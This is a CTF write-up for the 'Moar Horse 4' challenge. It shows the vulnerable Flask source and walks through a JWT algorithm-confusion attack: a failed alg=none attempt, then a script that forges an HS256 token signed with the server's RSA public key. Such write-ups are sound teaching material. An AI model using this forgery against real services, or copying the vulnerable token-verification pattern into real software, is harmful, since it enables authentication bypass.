Moar Horse 4
Table of Contents
Can you beat that horse king?
Problem
It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform!
They call it 'Moar Horse 4'... See if you can get a flag from it!
A virtual horse racing platform is provided. The source is here:
from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib
app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)
BOSS_HORSE = "MechaOmkar-YG6BPRJM"
with open("pubkey.pem", "rb") as file:
PUBLIC_KEY = file.read()
with open("privkey.pem", "rb") as file:
PRIVATE_KEY = file.read()
Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
for name in file.read().strip().split("\n"):
valid_horses[next_id] = Horse(name, 100, next_id)
next_id += 1
with open("flag.txt", "r") as file:
flag = file.read()
def validate_token(token):
try:
data = jwt.decode(token, PUBLIC_KEY)
return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
except:
return False, None
def generate_token(data):
token = jwt.encode(data, PRIVATE_KEY, "RS256")
return token
@app.route("/")
def main_page():
if "token" in request.cookies:
is_valid, data = validate_token(request.cookies["token"])
if is_valid:
return render_template("main.html", money=data["money"])
else:
response = make_response(render_template("new_user.html"))
response.delete_cookie("token")
return response
else:
return render_template("new_user.html")
@app.route("/join")
def join():
data = {
"user": True,
"is_omkar": False,
"money": 100,
"horses": []
}
response = make_response(redirect("/"))
response.set_cookie("token", generate_token(data))
return response
@app.route("/race")
def race():
if "token" in request.cookies:
is_valid, data = validate_token(request.cookies["token"])
if is_valid:
error_message = ("error" in request.args)
owned_horses = data["horses"]
return render_template("race.html", owned_horses=owned_horses, money=data["money"], \
boss_horse=BOSS_HORSE, error_message=error_message)
else:
return redirect("/")
else:
return redirect("/")
@app.route("/do_race")
def do_race():
if "token" in request.cookies:
is_valid, data = validate_token(request.cookies["token"])
if is_valid:
if "horse" in request.args:
race_horse = request.args.get("horse")
else:
return redirect("/race")
owned_horses = data["horses"]
if race_horse not in owned_horses:
return redirect("/race?error")
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
if your_speed > boss_speed:
return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
else:
return render_template("race_results.html", money=data["money"], victory=False)
else:
return redirect("/")
else:
return redirect("/")
@app.route("/store")
def store():
if "token" in request.cookies:
is_valid, data = validate_token(request.cookies["token"])
if is_valid:
success_message = ("success" in request.args)
failure_message = ("failure" in request.args)
all_horse_ids = list(valid_horses.keys())
random.shuffle(all_horse_ids)
horses = [valid_horses[horse_id] for horse_id in all_horse_ids[:random.randint(4,6)]]
return render_template("store.html", horses=horses, money=data["money"], \
success_message=success_message, failure_message=failure_message)
else:
return redirect("/")
else:
return redirect("/")
@app.route("/buy_horse")
def buy_horse():
if "token" in request.cookies:
is_valid, data = validate_token(request.cookies["token"])
if is_valid:
if "id" in request.args:
buy_id = int(request.args.get("id"))
else:
response = make_response(redirect("/store?failure"))
return response
if data["money"] >= valid_horses[buy_id].price:
data["money"] -= valid_horses[buy_id].price
data["horses"].append(valid_horses[buy_id].name)
response = make_response(redirect("/store?success"))
response.set_cookie("token", generate_token(data))
return response
else:
response = make_response(redirect("/store?failure"))
return response
else:
return redirect("/")
else:
return redirect("/")
if __name__ == "__main__":
app.run(debug=False)
With horse_names.txt
:
Luke
Noah
Liam
Michael
Alexander
Ethan
William
James
Logan
Benjamin
Mason
Elijah
Darin
Oliver
Jacob
Lucas
Daniel
Matthew
Aiden
Henry
Joseph
Jackson
defund
Solution
Find the horse
Apparently, none of above can beat that unbeatable MechaOmkar-YG6BPRJM
. It’s speed is 340282329007027273925800828829408515216
.
From the source, we can learn that I can’t buy the horse that is not in the list, which means I have to find a suitable horse.
Code
# generate available horse
import hashlib
import random
import string
BOSS_HORSE = "MechaOmkar-YG6BPRJM"
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
print(boss_speed)
while True:
N = 20
test_horse = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
your_speed = int(hashlib.md5(("Horse_" + test_horse).encode()).hexdigest(), 16)
print(your_speed)
if your_speed < boss_speed:
print("failed")
else:
print("success")
print(test_horse)
exit(0)
This got me a WLBGSMZK92C7GNX43UAU
with a speed of 340282332015451285737341844765945188951
.
Cheat the System
From the source, we can also find out that there’s NO verification of which horse to race when we do race.
But there is a JWT verification before we get the horse running.
Original JWT is something like this:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6W119.IwmdkE7qMzr_TzW_RvloMIz_36QKnGVcxh2FW7oUnVRztoyeRQd-LDuIXyPn7dyCaaeLLI3wXCeokCrnoBwdpqNFNInyzJEZORxBiGgHpHBpOAdVxhGOGN1dWw0pEw1so-VhGKCI5DVOtuKM_VXHqTbUtMKvoHYjwDIOTisQr1VJRR81Tu6uqzA6nf0Deu943KOMF42MEcI7yGjAwpoYMkz9CF3dX9dX1MrEIJZeN19iyfSB7apgm71gJqPJBTiI0xFKH1TXQHHfViaF8stdqDlPKo4FgWe1Ol5Zqf-fBqkv4GK_DyR36ws9Aw32ompXEPicR26JY_4nK8d_EJE5gxceN7az1xkVy9OQEpSuNDQDYBNrE7-gUtL8Q1PcwOkqN_RRT1XSEg_Cr05QOr6FDsbClQihx-Wf5pY_p58fu81_NbQRzjvQIYEBShJ6GVEXf4DB8W5SkA-KR17TdHxT7uWi270KBEQ92AWH4XtRRN01dR65px01X1M1MbkYvuPE3_QoegeN6_TP3GLEB4fMQyha_zD_OWp8Z8mzrcNERrR0933ODXujtPfQwgf7oqYXVjyfo3QYDsjgCBMejqyeIgzvVc-KpLyauDQPCxsqNalCUFwqo-0wkGJUkYAG0fwVbyi2AeWIJGPdBPF1cJ6-fkctoMwDvBzoGJnbcF93Gmc
which can be decoded as:
{
"typ": "JWT",
"alg": "RS256"
},
{
"user": true,
"is_omkar": false,
"money": 100,
"horses": []
}
with a verified signature. The public key provided is here:
pubkey.pem
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAobPawzmVOmvLl6ijiaCsjcrJq/hul5w0VbVaYTJy4pQ8LieULhGm
VTSRF/CgFkvhhEqB1/RqdiakxysLW9B4Z7UWFY8s7YE1978EUXljckCujJUhwMid
aoeNucief71s2vkmoNpSCB1ED58VnvLCOGCIVRjwE8wqPgSSDABHpePu5moVc3yf
DtKjVgAz9D1GU1d8aNk1Wry2aNMOjudK0qU1Qw3OIMaWuWlweMgbiLXQUZ9DK9z2
Ow8LPRO7adIMsW7XNRC92YSuARj3fTQOuVa2SLt5pCrb8nrzejBsk1XmsC8hDmZo
ArbyhupF4jFi5+2qiAKVb4fR3P75Az+8VgxE8yWS+XirN9ajK75J9BHuHu36q33K
FlI5UimsfV0Ft4rBJNVSEInkVasvQBzdN7+hv0uNlTyWxFmR8JHTOGX3Hvtb36aY
J2zqsfqaMq93mIM2EVxP9Y5mL9bJ8tx0vQD5wE7HFAf9yuRM2Lksrh49ViI/cTUW
FeNugXYZJteTFTE0LUoWacx7ATeMbc7eprOff+MS9sWSk4J8LYsce1a9uQ+KJlkO
fxWie24rOBwDDCPSSdmDcRvwLCydT4QHCUafLQtBPNru7eHdYeNjvItNLm7SrSy4
zO8fxalbw+X62s9ZPrlqXW+trff3mTi1pOlQLM5llz8yjCTKSfkYsF0CAwEAAQ==
-----END RSA PUBLIC KEY-----
Did a quick research on the Internet, that RS256
algo is hard to crack directly.
Tried to switch the algo to none
but blocked by server. Local testing is like this:
import jwt
with open("pubkey.pem", "rb") as file:
PUBLIC_KEY = file.read()
print(jwt.encode({"data":"test"}, key=PUBLIC_KEY, algorithm='RS256'))
# switch algo
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjowLCJob3JzZXMiOlsiV0xCR1NNWks5MkM3R05YNDNVQVUiXX0."
data = jwt.decode(token, PUBLIC_KEY)
---------------------------------------------------------------------------
InvalidKeyError Traceback (most recent call last)
<ipython-input-6-bb1ef4053db9> in <module>()
----> 1 data = jwt.decode(token, PUBLIC_KEY)
3 frames
/usr/local/lib/python3.6/dist-packages/jwt/api_jwt.py in decode(self, jwt, key, verify, algorithms, options, **kwargs)
90
91 decoded = super(PyJWT, self).decode(
---> 92 jwt, key=key, algorithms=algorithms, options=options, **kwargs
93 )
94
/usr/local/lib/python3.6/dist-packages/jwt/api_jws.py in decode(self, jwt, key, verify, algorithms, options, **kwargs)
154 elif verify_signature:
155 self._verify_signature(payload, signing_input, header, signature,
--> 156 key, algorithms)
157
158 return payload
/usr/local/lib/python3.6/dist-packages/jwt/api_jws.py in _verify_signature(self, payload, signing_input, header, signature, key, algorithms)
218 try:
219 alg_obj = self._algorithms[alg]
--> 220 key = alg_obj.prepare_key(key)
221
222 if not alg_obj.verify(signing_input, key, signature):
/usr/local/lib/python3.6/dist-packages/jwt/algorithms.py in prepare_key(self, key)
114
115 if key is not None:
--> 116 raise InvalidKeyError('When alg = "none", key value must be None.')
117
118 return key
InvalidKeyError: When alg = "none", key value must be None.
So we have to find a way in that it accepts the public key as a key of one algo.
First we construct new JWT without the signature:
{
"typ": "JWT",
"alg": "RS256"
},
{
"user": true,
"is_omkar": false,
"money": 0,
"horses": [
"WLBGSMZK92C7GNX43UAU"
]
}
then change the header:
{
"typ": "JWT",
"alg": "HS256"
},
{
"user": true,
"is_omkar": false,
"money": 0,
"horses": [
"WLBGSMZK92C7GNX43UAU"
]
}
According to jwt.io, the signature is generated using:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
So I wrote a script:
import sys
import hashlib
import hmac
import base64
key = open("pubkey.pem").read()
header = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" # jwt.io
payload = "eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjowLCJob3JzZXMiOlsiV0xCR1NNWks5MkM3R05YNDNVQVUiXX0" # jwt.io
token = header + "." + payload
new_sig = base64.urlsafe_b64encode(hmac.new(key.encode(),token.encode(),hashlib.sha256)
.digest()).decode('UTF-8').strip("=")
print(new_sig)
I got 75GdNX5is97K2ySVXHgfbartW-1G5qy8dhggoUvvVP0
. Then change the cookie:
Do the race and get the flag!
Btw, in the newest implemention of pyjwt
, HS256
algo can’t be used with an X.509 certificate.